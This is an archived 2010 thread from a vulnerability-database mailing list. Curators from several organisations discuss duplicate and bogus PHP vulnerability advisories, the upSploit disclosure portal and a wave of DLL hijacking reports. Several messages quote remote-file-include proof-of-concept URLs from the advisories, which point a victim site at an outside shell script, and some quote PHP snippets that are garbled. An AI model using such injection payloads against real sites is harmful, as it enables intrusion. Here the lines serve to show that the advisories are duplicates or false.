From theall at tenable.com Tue Aug 3 12:20:04 2010 From: theall at tenable.com (George A. Theall) Date: Tue, 3 Aug 2010 13:20:04 -0400 Subject: [VIM] PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability Message-ID: Exploit DB 14453 talks about two SQL injection vulnerabilities in an old version of PhotoPost, the second involving the 'photo' parameter to the 'showphoto.php' script. It looks like BID 41946 was created based on the same advisory. Isn't that issue the same as one reported by Digital Crab in 2004 and covered by CVE-2004-0239 / BID 9557? George -- theall at tenablesecurity.com From theall at tenable.com Tue Aug 3 12:25:50 2010 From: theall at tenable.com (George A. Theall) Date: Tue, 3 Aug 2010 13:25:50 -0400 Subject: [VIM] PhotoPost PHP SQL Injection Vulnerability Message-ID: Exploit DB 14446 / Bugtraq ID 41916 appears to have been reported by James Bercegay back in 2005 and covered by Bugtraq 12156 / OSVDB 12735. George -- theall at tenablesecurity.com From rkeith at securityfocus.com Tue Aug 3 12:52:29 2010 From: rkeith at securityfocus.com (rkeith) Date: Tue, 03 Aug 2010 11:52:29 -0600 Subject: [VIM] PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability In-Reply-To: References: Message-ID: <4C58575D.5020304@securityfocus.com> Thanks George. We concur, and are retiring BID 41946 as a duplicate of 9557. -Rob George A. Theall wrote: > Exploit DB 14453 talks about two SQL injection vulnerabilities in an old > version of PhotoPost, the second involving the 'photo' parameter to the > 'showphoto.php' script. It looks like BID 41946 was created based on the > same advisory. > > Isn't that issue the same as one reported by Digital Crab in 2004 and > covered by CVE-2004-0239 / BID 9557? > > George -- Rob Keith Symantec From rkeith at securityfocus.com Tue Aug 3 13:05:30 2010 From: rkeith at securityfocus.com (rkeith) Date: Tue, 03 Aug 2010 12:05:30 -0600 Subject: [VIM] PhotoPost PHP SQL Injection Vulnerability In-Reply-To: References: Message-ID: <4C585A6A.9080606@securityfocus.com> Thanks George. These look to affect two different applications. PhotoPost PHP, and PhotoPost Classifieds. Possibly shared code, but leaving BID 41916 as is for now. -Rob George A. Theall wrote: > Exploit DB 14446 / Bugtraq ID 41916 appears to have been reported by > James Bercegay back in 2005 and covered by Bugtraq 12156 / OSVDB 12735. > > George -- Rob Keith Symantec From theall at tenable.com Tue Aug 3 13:15:18 2010 From: theall at tenable.com (George A. Theall) Date: Tue, 3 Aug 2010 14:15:18 -0400 Subject: [VIM] PhotoPost PHP SQL Injection Vulnerability In-Reply-To: <4C585A6A.9080606@securityfocus.com> References: <4C585A6A.9080606@securityfocus.com> Message-ID: <4BF49E7B-8127-45AB-895A-BE454DFEF572@tenable.com> On Aug 3, 2010, at 2:05 PM, rkeith wrote: > Thanks George. > > These look to affect two different applications. PhotoPost PHP, and > PhotoPost Classifieds. Possibly shared code, but leaving BID 41916 > as is for now. Sorry, I meant BID 9994 from 2004. George -- theall at tenablesecurity.com From theall at tenable.com Fri Aug 6 09:02:05 2010 From: theall at tenable.com (George A. Theall) Date: Fri, 6 Aug 2010 10:02:05 -0400 Subject: [VIM] Visites Component for Joomla! mosConfig_absolute_path RFI Message-ID: Bugtraq ID 41983 looks like a rehash of an issue reported in 2008 by NoGe and covered by BID 28942. Rob? George -- theall at tenablesecurity.com From rkeith at securityfocus.com Fri Aug 6 11:24:30 2010 From: rkeith at securityfocus.com (rkeith) Date: Fri, 06 Aug 2010 10:24:30 -0600 Subject: [VIM] Visites Component for Joomla! mosConfig_absolute_path RFI In-Reply-To: References: Message-ID: <4C5C373E.2030503@securityfocus.com> Hey George, Yah we concur, looks to be the same issue reported again. We'll retire 41983 shortly. -Rob George A. Theall wrote: > Bugtraq ID 41983 looks like a rehash of an issue reported in 2008 by > NoGe and covered by BID 28942. Rob? > > > George -- Rob Keith Symantec From theall at tenable.com Fri Aug 6 13:01:57 2010 From: theall at tenable.com (George A. Theall) Date: Fri, 6 Aug 2010 14:01:57 -0400 Subject: [VIM] Free PHP photo gallery script Vulnerabilities Message-ID: Exploit DB 14437 and 14438 / Bugtraq 41889, which cover vulnerabilities in PHP Photo Gallery, look bogus to me. ViRuS Qalaa doesn't mention which version of the application is affected, and for some reason the download associated with those always gives me a zero-byte length file. Still, I grabbed a copy from http://phpweby.com/downloads/gallery . According to 'install.txt', that's version 1.1. It doesn't have the 'jadro/libs/adodb/adodb-perf.inc.php' file that reportedly suffers from a command execution vulnerability, but some digging around turned up an older instance, also version 1.1, from http://173.45.233.177/phpwebygallery.zip , which does have that file. Exploit 14437 points to a call to 'exec()' at line #39 in 'jadro/libs/ adodb/adodb-perf.inc.php' and suggests the second argument is used to inject arbitrary code. Here's a larger snippet from that file, starting at line 29: function adodb_getmem() { if (function_exists('memory_get_usage')) return (integer) ((memory_get_usage()+512)/1024); $pid = getmypid(); if ( strncmp(strtoupper(PHP_OS),'WIN',3)==0) { $output = array(); exec('tasklist /FI "PID eq ' . $pid. '" /FO LIST', $output); return substr($output[5], strpos($output[5], ':') + 1); } The call to 'exec()' in this file indeed occurs at line 39 and matches what ViRuS Qalaa reports in the advisory. Unfortunately, though, the "vulnerable" code is located in a function call, and there's no way to call that function that I can see by simply calling the script. Even if there were, though, the second argument to a PHP 'exec()' call is not passed to a shell but rather used to collect output from the command specified in the first argument. Exploit 14438 points to a call to 'include_once()' at line 4227 in 'jadro/libs/adodb/adodb.inc.php' and suggests an attacker can reach that via the 'path' parameter. Here's a larger snippet from that file, starting at line 4214: function &NewDataDictionary(&$conn,$drivername=false) { $false = false; if (!$drivername) $drivername = _adodb_getdriver($conn- >dataProvider,$conn->databaseType); include_once(ADODB_DIR.'/adodb-lib.inc.php'); include_once(ADODB_DIR.'/adodb-datadict.inc.php'); $path = ADODB_DIR."/datadict/datadict-$drivername.inc.php"; if (!file_exists($path)) { ADOConnection::outp("Dictionary driver '$path' not available"); return $false; } include_once($path); While there is a call to that function involving '$path', it's not only in a function definition, but the value of '$path' is hardcoded. George -- theall at tenablesecurity.com From theall at tenable.com Mon Aug 9 09:15:21 2010 From: theall at tenable.com (George A. Theall) Date: Mon, 9 Aug 2010 10:15:21 -0400 Subject: [VIM] KDPics 'index.php3' Remote File Include Vulnerability Message-ID: Bugtraq 42312 was just released to cover a remote file include in KDPics version 1.11, apparently reported by Fl0riX and covered by http://packetstormsecurity.nl/1008-exploits/kdpics-rfi.txt . The PoC looks similar to one reported by Mr_KaLiMaN in 2006 and covered by CVE-2006-6516 / Bugtraq 21515 / OSVDB 31868: site/index.php3?page=http://fl0rix/shell.txt? versus: http://[victim]/[kdpics_path]/index.php3?page=http://evil_script.txt? Looks like another dup to me. Rob? George -- theall at tenablesecurity.com From rkeith at securityfocus.com Mon Aug 9 11:38:29 2010 From: rkeith at securityfocus.com (rkeith) Date: Mon, 09 Aug 2010 10:38:29 -0600 Subject: [VIM] KDPics 'index.php3' Remote File Include Vulnerability In-Reply-To: References: Message-ID: <4C602F05.2080405@securityfocus.com> Hey George, Quite right again, we are retiring 42312. -Rob George A. Theall wrote: > Bugtraq 42312 was just released to cover a remote file include in KDPics > version 1.11, apparently reported by Fl0riX and covered by > http://packetstormsecurity.nl/1008-exploits/kdpics-rfi.txt. The PoC > looks similar to one reported by Mr_KaLiMaN in 2006 and covered by > CVE-2006-6516 / Bugtraq 21515 / OSVDB 31868: > > site/index.php3?page=http://fl0rix/shell.txt? > > versus: > > http://[victim]/[kdpics_path]/index.php3?page=http://evil_script.txt? > > Looks like another dup to me. Rob? > > > George -- Rob Keith Symantec From theall at tenable.com Wed Aug 11 01:15:47 2010 From: theall at tenable.com (George A. Theall) Date: Wed, 11 Aug 2010 02:15:47 -0400 Subject: [VIM] PHP-Fusion Remote Command Execution Vulnerability Message-ID: Exploit DB 14405 / Bugtraq 41758, which cover vulnerabilities in PHP- Fusion (possibly just an Arabic-language version), look bogus to me. ViRuS Qalaa points out a vulnerable line of code (at line 438) in 'includes/class.phpmailer.php' and offers shows as a proof-of-concept a URL that calls that file directly passing in the command through the 'sendmail' parameter. I downloaded the script s/he helpfully points to and looked at that file. It simply defines a class. There's no way to actually call any of the functions in it by calling the script directly. Here's a larger snippet of code showing the supposed vulnerability, starting at line 421: function SendmailSend($header, $body) { if ($this->Sender != '') { $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this- >Sendmail), escapeshellarg($this->Sender)); } else { $sendmail = sprintf("%s -oi -t", escapeshellcmd($this- >Sendmail)); } if(!@$mail = popen($sendmail, 'w')) { $this->SetError($this->Lang('execute') . $this->Sendmail); return false; } fputs($mail, $header); fputs($mail, $body); $result = pclose($mail) >> 8 & 0xFF; '$this->Sendmail' is hardcoded elsewhere in the file as '/usr/sbin/ sendmail'. And while it can be changed by calling 'IsQmail()', that too uses a hardcoded value. So even if you could somehow call the affected function, I don't see how an attacker could gain control of the variable in the function. Anyone else look into this? George -- theall at tenablesecurity.com From theall at tenable.com Wed Aug 11 08:29:27 2010 From: theall at tenable.com (George A. Theall) Date: Wed, 11 Aug 2010 09:29:27 -0400 Subject: [VIM] phpMUR Remote File Disclosure Vulnerability Message-ID: Exploit DB 14615 / Bugtraq 42353, which concerns a file disclosure vuln in phpMUR, looks bogus to me. At least in phpMUR.2007.10.16, the current version, the affected file is a class file, and you can't reach any of the member functions by calling the script directly as the advisory claims. George -- theall at tenablesecurity.com From theall at tenable.com Wed Aug 11 09:43:04 2010 From: theall at tenable.com (George A. Theall) Date: Wed, 11 Aug 2010 10:43:04 -0400 Subject: [VIM] clearBudget v0.9.8 Remote File Include Vulnerability Message-ID: <2416EE85-5097-4F4E-90CE-525CE7C2A0A7@tenable.com> Looks like the same sort of problem with Exploit DB 14614 / Bugtraq 42351 -- the supposedly affected file defines a class, and there's no way for an attacker to control the '$actionPath' variable: * @package framework * @access public */ / *********************************************************************** Copyright (C) 2008 Fabrice Douteaud (admin at clearbudget.net) This file is part of ClearBudget. ClearBudget is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. ClearBudget is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with ClearBudget. If not, see . ************************************************************************/ /** * Class managing the flow of event from a given request. It controls the actions * that are requested and build the output message. * * this is the applicaton controller. * * @author Fabrice Douteaud * @package framework * @access public */ class class_controller { ... public function doAction() { ... $actionPath = 'actions'.DIRECTORY_SEPARATOR.$context- >action.'.php'; // if file does not exist, we simply continue if(file_exists($actionPath)) { // includes the files (i.e.: execute it) include($actionPath); ... } ... public function includeAction($action) { ... $actionPath = 'actions'.DIRECTORY_SEPARATOR.$action.'.php'; // if file does not exist, we simply continue if(file_exists($actionPath)) { // includes the files (i.e.: execute it) include($actionPath); ... } ... } ?> George -- theall at tenablesecurity.com From rkeith at securityfocus.com Wed Aug 11 10:25:54 2010 From: rkeith at securityfocus.com (rkeith) Date: Wed, 11 Aug 2010 09:25:54 -0600 Subject: [VIM] clearBudget v0.9.8 Remote File Include Vulnerability In-Reply-To: <2416EE85-5097-4F4E-90CE-525CE7C2A0A7@tenable.com> References: <2416EE85-5097-4F4E-90CE-525CE7C2A0A7@tenable.com> Message-ID: <4C62C102.3080602@securityfocus.com> Hey, Definitely bogus, we will be retiring the BID shortly. -Rob George A. Theall wrote: > Looks like the same sort of problem with Exploit DB 14614 / Bugtraq > 42351 -- the supposedly affected file defines a class, and there's no > way for an attacker to control the '$actionPath' variable: > > /** > * File holding the controller class > * > * @author Fabrice Douteaud > * @package framework > * @access public > */ > > /*********************************************************************** > > Copyright (C) 2008 Fabrice Douteaud (admin at clearbudget.net) > > This file is part of ClearBudget. > > ClearBudget is free software: you can redistribute it and/or modify > it under the terms of the GNU General Public License as published by > the Free Software Foundation, either version 3 of the License, or > (at your option) any later version. > > > ClearBudget is distributed in the hope that it will be useful, > but WITHOUT ANY WARRANTY; without even the implied warranty of > MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > GNU General Public License for more details. > > You should have received a copy of the GNU General Public License > along with ClearBudget. If not, see . > > ************************************************************************/ > > /** > * Class managing the flow of event from a given request. It controls > the actions > * that are requested and build the output message. > * > * this is the applicaton controller. > * > * @author Fabrice Douteaud > * @package framework > * @access public > */ > class class_controller { > ... > public function doAction() { > ... > $actionPath = > 'actions'.DIRECTORY_SEPARATOR.$context->action.'.php'; > // if file does not exist, we simply continue > if(file_exists($actionPath)) { > // includes the files (i.e.: execute it) > include($actionPath); > ... > } > ... > public function includeAction($action) { > ... > $actionPath = 'actions'.DIRECTORY_SEPARATOR.$action.'.php'; > // if file does not exist, we simply continue > if(file_exists($actionPath)) { > // includes the files (i.e.: execute it) > include($actionPath); > ... > } > ... > } > ?> > > > George -- Rob Keith Symantec From rkeith at securityfocus.com Wed Aug 11 10:42:09 2010 From: rkeith at securityfocus.com (rkeith) Date: Wed, 11 Aug 2010 09:42:09 -0600 Subject: [VIM] phpMUR Remote File Disclosure Vulnerability In-Reply-To: References: Message-ID: <4C62C4D1.2040207@securityfocus.com> Hey George, That app hasn't been updated since 2007, so presumably that was the test version. And yep, is a class file, calling it directly won't get you much. We will retire the BID shortly. -Rob George A. Theall wrote: > Exploit DB 14615 / Bugtraq 42353, which concerns a file disclosure vuln > in phpMUR, looks bogus to me. At least in phpMUR.2007.10.16, the current > version, the affected file is a class file, and you can't reach any of > the member functions by calling the script directly as the advisory claims. > > George -- Rob Keith Symantec From theall at tenable.com Mon Aug 16 09:05:31 2010 From: theall at tenable.com (George A. Theall) Date: Mon, 16 Aug 2010 10:05:31 -0400 Subject: [VIM] PHP-Fusion Local File Inclusion Vulnerability Message-ID: <238124AA-2C5A-402B-81BD-B5DAE64D77AC@tenable.com> Exploit DB 14647 / Bugtraq 42456 cover a supposed local file include vulnerability in PHP-Fusion (possibly just an Arabic-language version). An attacker reportedly calls the maincore.php file directly and uses the 'folder_level' parameter to control which file is included. That's the theory, at least. Here's the snippet of code quoted by MoDaMeR in the advisory: maincore.php [php] // Locate config.php and set the basedir path $folder_level = ""; $i = 0; while (!file_exists($folder_level."config.php")) { $folder_level .= "../"; $i++; if ($i == 5) { die("Config file not found"); } } require_once $folder_level."config.php"; define("BASEDIR", $folder_level); [/php] '$folder_level' is hardcoded as one or more directory traversal sequences. It doesn't look exploitable to me, at least as MoDaMeR claims. George -- theall at tenablesecurity.com From theall at tenable.com Tue Aug 17 20:22:04 2010 From: theall at tenable.com (George A. Theall) Date: Tue, 17 Aug 2010 21:22:04 -0400 Subject: [VIM] LXR Cross Referencer TITLE Element Cross Site Scripting Vulnerability Message-ID: <48B6D96E-6A05-494A-B725-C9AB818F791B@tenable.com> According to , it seems like CVE-2010-1448 and CVE-2010-1738 are dups. I haven't seen an ack of this from anyone at Mitre, though, and it looks like SecurityFocus just issued Bugtraq 42510 today for the former CVE while BID 39865 maps to the latter CVE. So, dups or not... Steve / Rob? George -- theall at tenablesecurity.com From coley at linus.mitre.org Fri Aug 20 15:29:35 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 20 Aug 2010 16:29:35 -0400 (EDT) Subject: [VIM] LXR Cross Referencer TITLE Element Cross Site Scripting Vulnerability In-Reply-To: <48B6D96E-6A05-494A-B725-C9AB818F791B@tenable.com> References: <48B6D96E-6A05-494A-B725-C9AB818F791B@tenable.com> Message-ID: OK, I'll say that these are dupes. This particular dupe occurred as an oddity of CVE's internal content production process, which has multiple "streams" of differing priorities, and the fact that oss-security CVE requests happen with already-published issues. Prefer CVE-2010-1448. - Steve On Tue, 17 Aug 2010, George A. Theall wrote: > According to , it > seems like CVE-2010-1448 and CVE-2010-1738 are dups. I haven't seen an ack of > this from anyone at Mitre, though, and it looks like SecurityFocus just > issued Bugtraq 42510 today for the former CVE while BID 39865 maps to the > latter CVE. > > So, dups or not... Steve / Rob? > > George > -- > theall at tenablesecurity.com > > > From amanion at cert.org Tue Aug 24 12:47:59 2010 From: amanion at cert.org (Art Manion) Date: Tue, 24 Aug 2010 13:47:59 -0400 Subject: [VIM] upSploit Message-ID: <4C7405CF.2020908@cert.org> http://www.upsploit.com/ Is this on anyone's radar? - Art From jericho at attrition.org Tue Aug 24 16:19:04 2010 From: jericho at attrition.org (security curmudgeon) Date: Tue, 24 Aug 2010 16:19:04 -0500 (CDT) Subject: [VIM] upSploit In-Reply-To: <4C7405CF.2020908@cert.org> References: <4C7405CF.2020908@cert.org> Message-ID: On Tue, 24 Aug 2010, Art Manion wrote: : http://www.upsploit.com/ : : Is this on anyone's radar? We saw it a few weeks back, read the web page and found it interesting. Haven't heard anything about it other than what is there now. From jkouns at opensecurityfoundation.org Tue Aug 24 19:50:07 2010 From: jkouns at opensecurityfoundation.org (Jake Kouns) Date: Tue, 24 Aug 2010 20:50:07 -0400 Subject: [VIM] upSploit In-Reply-To: References: <4C7405CF.2020908@cert.org> Message-ID: Definitely curious to see what happens for sure ... As many already know a vuln disclosure portal to help with the process and make advisories more mad libs style was a goal of OSVDB and we started work on it during the 2006 Google Summer of Code.... We called it the OSVDB Ethical Disclosure Framework at the time which we ultimately abandoned the term ethical for coordinated disclosure. This had been one of the projects that we wanted for years and we thought it was validated as we were seeing more and more issues with the disclosure process! We believed all along that OSVDB could be the service that helped to improve, streamline and more importantly remove the mystery of the breakdowns in the process. OSVDB has been handling one-off disclosures for researchers over the past 8 years and it is not an easy task. The amount of time it takes to handle a disclosure process is huge. We realized early on that a lot of the process needed to be automated in order to be successful and repeatable. Copied the project info@ on this email so perhaps we can get an update from the project team and determine if it makes sense to potentially work together and/or integrate with OSVDB. --Jake On Tue, Aug 24, 2010 at 5:19 PM, security curmudgeon wrote: > > On Tue, 24 Aug 2010, Art Manion wrote: > > : http://www.upsploit.com/ > : > : Is this on anyone's radar? > > We saw it a few weeks back, read the web page and found it interesting. > Haven't heard anything about it other than what is there now. > From thomas.mackenzie at upsploit.com Tue Aug 24 20:01:59 2010 From: thomas.mackenzie at upsploit.com (Thomas Mackenzie) Date: Wed, 25 Aug 2010 02:01:59 +0100 Subject: [VIM] upSploit In-Reply-To: References: <4C7405CF.2020908@cert.org> Message-ID: <120250E3-D5DF-4A07-930C-B407E1315FAC@upsploit.com> Hello all, You were right to email info@ as that goes to all the people within the project. I am the project manager for upsploit and we are currently working towards a release for the 6th Sept where I will be appearing on PaulDotCom to talk about the project. There will also be a small article in the next hackin9 magazine. Basically upSploit works with the vendors primarily, most advisories are first confirmed and sent off to the vendor once they are confirmed to be true. This works slightly different in the sense that we send the advisories off to the vendor first, making it a lot less time on our end. We allow the vendor to reply within 180 days, and in this time around 10 reminder emails are sent out. Once the vulnerability has been patched then we distribute the advisory to a number of different databases across the internet in the hope that the advisories can help other researchers with their research. The whole process is automated, the only manual part is if the vendor replies back to us and we need to give a response. If the vendor does not get back to us, we release the advisory ONLY on our site, and have a voting system thats pluses or minuses 1, so i reality its never proper confirmed but you will be able to see what people think about it. Thanks, Thomas Mackenzie On 25 Aug 2010, at 01:50, Jake Kouns wrote: > Definitely curious to see what happens for sure ... As many already > know a vuln disclosure portal to help with the process and make > advisories more mad libs style was a goal of OSVDB and we started work > on it during the 2006 Google Summer of Code.... > > We called it the OSVDB Ethical Disclosure Framework at the time which > we ultimately abandoned the term ethical for coordinated disclosure. > This had been one of the projects that we wanted for years and we > thought it was validated as we were seeing more and more issues with > the disclosure process! > > We believed all along that OSVDB could be the service that helped to > improve, streamline and more importantly remove the mystery of the > breakdowns in the process. OSVDB has been handling one-off disclosures > for researchers over the past 8 years and it is not an easy task. The > amount of time it takes to handle a disclosure process is huge. We > realized early on that a lot of the process needed to be automated in > order to be successful and repeatable. > > Copied the project info@ on this email so perhaps we can get an update > from the project team and determine if it makes sense to potentially > work together and/or integrate with OSVDB. > --Jake > > On Tue, Aug 24, 2010 at 5:19 PM, security curmudgeon > wrote: >> >> On Tue, 24 Aug 2010, Art Manion wrote: >> >> : http://www.upsploit.com/ >> : >> : Is this on anyone's radar? >> >> We saw it a few weeks back, read the web page and found it interesting. >> Haven't heard anything about it other than what is there now. >> From coley at linus.mitre.org Wed Aug 25 13:22:07 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Wed, 25 Aug 2010 14:22:07 -0400 (EDT) Subject: [VIM] upSploit In-Reply-To: <120250E3-D5DF-4A07-930C-B407E1315FAC@upsploit.com> References: <4C7405CF.2020908@cert.org> <120250E3-D5DF-4A07-930C-B407E1315FAC@upsploit.com> Message-ID: Thomas, I just said this privately but will repeat it publicly. I wish you success in this effort. Anything that makes it easier for researchers to coordinate with vendors will be a great benefit to the vulnerability information management side of the industry. You have a tough job ahead of you! The folks at OSVDB, me, and probably others on this list would probably be willing to help you with some of your site and process design, since we've had to deal in this area regularly, both as coordinators and consumers. - Steve From thomas.mackenzie at upsploit.com Wed Aug 25 17:56:11 2010 From: thomas.mackenzie at upsploit.com (Thomas Mackenzie) Date: Wed, 25 Aug 2010 23:56:11 +0100 Subject: [VIM] upSploit In-Reply-To: References: <4C7405CF.2020908@cert.org> Message-ID: <032CEB11-468C-49CF-B03A-389497CFF857@upsploit.com> Does anyone know a way in which we could get an SQL dump for the Vendors list on OSVDB for upSploit? Thanks On 25 Aug 2010, at 01:50, Jake Kouns wrote: > Definitely curious to see what happens for sure ... As many already > know a vuln disclosure portal to help with the process and make > advisories more mad libs style was a goal of OSVDB and we started work > on it during the 2006 Google Summer of Code.... > > We called it the OSVDB Ethical Disclosure Framework at the time which > we ultimately abandoned the term ethical for coordinated disclosure. > This had been one of the projects that we wanted for years and we > thought it was validated as we were seeing more and more issues with > the disclosure process! > > We believed all along that OSVDB could be the service that helped to > improve, streamline and more importantly remove the mystery of the > breakdowns in the process. OSVDB has been handling one-off disclosures > for researchers over the past 8 years and it is not an easy task. The > amount of time it takes to handle a disclosure process is huge. We > realized early on that a lot of the process needed to be automated in > order to be successful and repeatable. > > Copied the project info@ on this email so perhaps we can get an update > from the project team and determine if it makes sense to potentially > work together and/or integrate with OSVDB. > --Jake > > On Tue, Aug 24, 2010 at 5:19 PM, security curmudgeon > wrote: >> >> On Tue, 24 Aug 2010, Art Manion wrote: >> >> : http://www.upsploit.com/ >> : >> : Is this on anyone's radar? >> >> We saw it a few weeks back, read the web page and found it interesting. >> Haven't heard anything about it other than what is there now. >> From jericho at attrition.org Wed Aug 25 19:29:34 2010 From: jericho at attrition.org (security curmudgeon) Date: Wed, 25 Aug 2010 19:29:34 -0500 (CDT) Subject: [VIM] upSploit In-Reply-To: <032CEB11-468C-49CF-B03A-389497CFF857@upsploit.com> References: <4C7405CF.2020908@cert.org> <032CEB11-468C-49CF-B03A-389497CFF857@upsploit.com> Message-ID: On Wed, 25 Aug 2010, Thomas Mackenzie wrote: : Does anyone know a way in which we could get an SQL dump for the Vendors : list on OSVDB for upSploit? Ask OSVDB? =) moderators at osvdb.org It may take a bit, our only developer is on sabbatical but checks in from time to time. From theall at tenable.com Fri Aug 27 06:22:39 2010 From: theall at tenable.com (George A. Theall) Date: Fri, 27 Aug 2010 07:22:39 -0400 Subject: [VIM] Bugtraq 42754 vs 42788 Message-ID: <37671A64-1CF6-4CB5-ABF0-F6D82505986A@tenable.com> Bugtraq id 42754 and 42788 both cover the DLL hijacking vulnerability as it involves 'mfc90enu.dll' and 'mfc90loc.dll' in Camtasia Studio. Is the second BID an oversight? If not, what's the difference between them? George -- theall at tenablesecurity.com From rkeith at securityfocus.com Fri Aug 27 10:09:24 2010 From: rkeith at securityfocus.com (rkeith) Date: Fri, 27 Aug 2010 09:09:24 -0600 Subject: [VIM] Bugtraq 42754 vs 42788 In-Reply-To: <37671A64-1CF6-4CB5-ABF0-F6D82505986A@tenable.com> References: <37671A64-1CF6-4CB5-ABF0-F6D82505986A@tenable.com> Message-ID: <4C77D524.6070002@securityfocus.com> Quite right, oversight on our part, we will retire 42788 shortly. Cheers, Rob George A. Theall wrote: > Bugtraq id 42754 and 42788 both cover the DLL hijacking vulnerability as > it involves 'mfc90enu.dll' and 'mfc90loc.dll' in Camtasia Studio. Is > the second BID an oversight? If not, what's the difference between them? > > George -- Rob Keith Symantec From coley at linus.mitre.org Fri Aug 27 13:16:34 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 27 Aug 2010 14:16:34 -0400 (EDT) Subject: [VIM] DLL hell: 2010 Message-ID: Anybody giving thought to what they will do if / when every single vuln that's affected by DLL hijacking / library loading is actually reported? Maybe it's worse for CVE because we have a "CVE-10K" problem (i.e. what to do if we hit CVE-yyyy-9999) but at some point one has to wonder about the usability of VDBs if they're completely swamped by this issue. It's got to be on the order of hundreds if not thousands of potentially vulnerable apps. Apparently exploit-db has given up doing individual records for them. - Steve From jericho at attrition.org Fri Aug 27 13:39:36 2010 From: jericho at attrition.org (security curmudgeon) Date: Fri, 27 Aug 2010 13:39:36 -0500 (CDT) Subject: [VIM] DLL hell: 2010 In-Reply-To: References: Message-ID: : Anybody giving thought to what they will do if / when every single vuln : that's affected by DLL hijacking / library loading is actually reported? : Maybe it's worse for CVE because we have a "CVE-10K" problem (i.e. what : to do if we hit CVE-yyyy-9999) but at some point one has to wonder about : the usability of VDBs if they're completely swamped by this issue. We are adding them as normal, and abstracting per application 99% of the time since there are two big factors that change with each; the affected library(ies) and the types of file a user can open to trigger it. : It's got to be on the order of hundreds if not thousands of potentially : vulnerable apps. Apparently exploit-db has given up doing individual : records for them. I was telling Carsten last night that I expect a big wave of them, that we had only seen the tip of the iceberg. However, I am really surprised that F-D hasn't been flooded with them yet and suggests that maybe it won't be as big as we realize. Perhaps even those who favor low hanging fruit think it is too low? On the other hand, i'd throw down a few dollars betting that we will see at least one mega-report listing hundreds of vulnerable applications. I imagine it wouldn't take much to develop a program that systematically checks all programs on a computer and produces a report of DLLs that are subject to the issue. Carsten also brought up the point of false positives in the reports and how they are growing. Last night, noticed one on Exploit-DB that they confirmed as valid but 'step 2' speaks volumes: http://exploit-db.com/exploits/14793/. We also had a discussion about another (PuTTY) and if it was valid. I posited that if I could write a DLL into the same directory as putty.exe, why not just replace the .exe. He tested and confirmed that on XP, a user could not overwrite another user's file, but could write into the directory it was installed in. That makes the PuTTY posting valid (exploit-db 14796). Also ran into another where the vendor was told "your product is vulnerable to this". The vendor realized that an older version of the product was (technically), the current product was not, and that the old version was only vulnerable because it used QT which is vulnerable. I believe that we will keep seeing these, but perhaps not as fast as I thought. I'd imagine we're also going to see several more of these false reports, and they may be more prone to being missed because every VDB is under extra strain keeping up with the flood. From theall at tenable.com Fri Aug 27 13:41:08 2010 From: theall at tenable.com (George A. Theall) Date: Fri, 27 Aug 2010 14:41:08 -0400 Subject: [VIM] pecio CMS v2.0.5 Multiple Remote File Inclusion Vulnerabilities Message-ID: <0A0DE797-9399-405E-B65B-E01008B3F47A@tenable.com> Exploit DB 14815 / Bugtraq 42806 concern an advisory from eidelweiss about multiple remote file inclusion vulnerabilities in something called pecio CMS. Yet if you look at the code quoted in the advisory, things look suspicious: ----- snip, snip, snip ----- -=[ Vuln c0de ]=- get('template')- >get_directory_name() . '/header.php'); ?> get('template')- >get_directory_name() . '/footer.php'); ?> -=[ p0c ]=- http://sample.site/pecio_path/pec_templates/nova-blue/post.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/article.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/blog.php?template= [inj3ct0r sh3ll] http://sample.site/pecio_path/pec_templates/nova-blue/home.php?template= [inj3ct0r sh3ll] ----- snip, snip, snip ----- And if you download the distribution file and look at the source, your suspicions should be confirmed. For example, here are the *entire* contents of pec_templates/nova-blue/blog.php: ----- snip, snip, snip ----- get('template')- >get_directory_name() . '/header.php'); ?> get('template')- >get_directory_name() . '/blog-data.php'); ?> get('template')- >get_directory_name() . '/footer.php'); ?> ----- snip, snip, snip ----- That is, there's no way the PoCs in the advisory will work as specified. George -- theall at tenablesecurity.com From coley at linus.mitre.org Fri Aug 27 13:43:00 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 27 Aug 2010 14:43:00 -0400 (EDT) Subject: [VIM] Sun site - 404 Content not found errors Message-ID: Some Friday reading for you. http://wikis.sun.com/display/SunSolve/404+Content+not+found+errors I hesitate to guess how many hundreds of URLs have been broken in CVE with little hope of recovery. "To find this SunAlert, searching on the keywords or the original title, for example... will provide the new link." ... except CVE made the mistake of referencing bulletin numbers. - Steve From coley at linus.mitre.org Fri Aug 27 13:47:48 2010 From: coley at linus.mitre.org (Steven M. Christey) Date: Fri, 27 Aug 2010 14:47:48 -0400 (EDT) Subject: [VIM] DLL hell: 2010 In-Reply-To: References: Message-ID: On Fri, 27 Aug 2010, security curmudgeon wrote: > I was telling Carsten last night that I expect a big wave of them, that > we had only seen the tip of the iceberg. However, I am really surprised > that F-D hasn't been flooded with them yet and suggests that maybe it > won't be as big as we realize. Perhaps even those who favor low hanging > fruit think it is too low? That hasn't stopped XSS finders in the past, or the RFI grep-and-gripers. I'm not overly surprised at the false positives. > Also ran into another where the vendor was told "your product is > vulnerable to this". The vendor realized that an older version of the > product was (technically), the current product was not, and that the old > version was only vulnerable because it used QT which is vulnerable. This is the one that will be the most problematic from a CVE standpoint: ideally, we would only assign one CVE for QT, but many researchers are unlikely to do that kind of diagnosis. Like the researchers who reported XSS in error messages that gave clear evidence of RFI/LFI. > I believe that we will keep seeing these, but perhaps not as fast as I > thought. Unless one individual picks up the cause. - Steve From jericho at attrition.org Fri Aug 27 13:48:43 2010 From: jericho at attrition.org (security curmudgeon) Date: Fri, 27 Aug 2010 13:48:43 -0500 (CDT) Subject: [VIM] Sun site - 404 Content not found errors In-Reply-To: References: Message-ID: : http://wikis.sun.com/display/SunSolve/404+Content+not+found+errors : : I hesitate to guess how many hundreds of 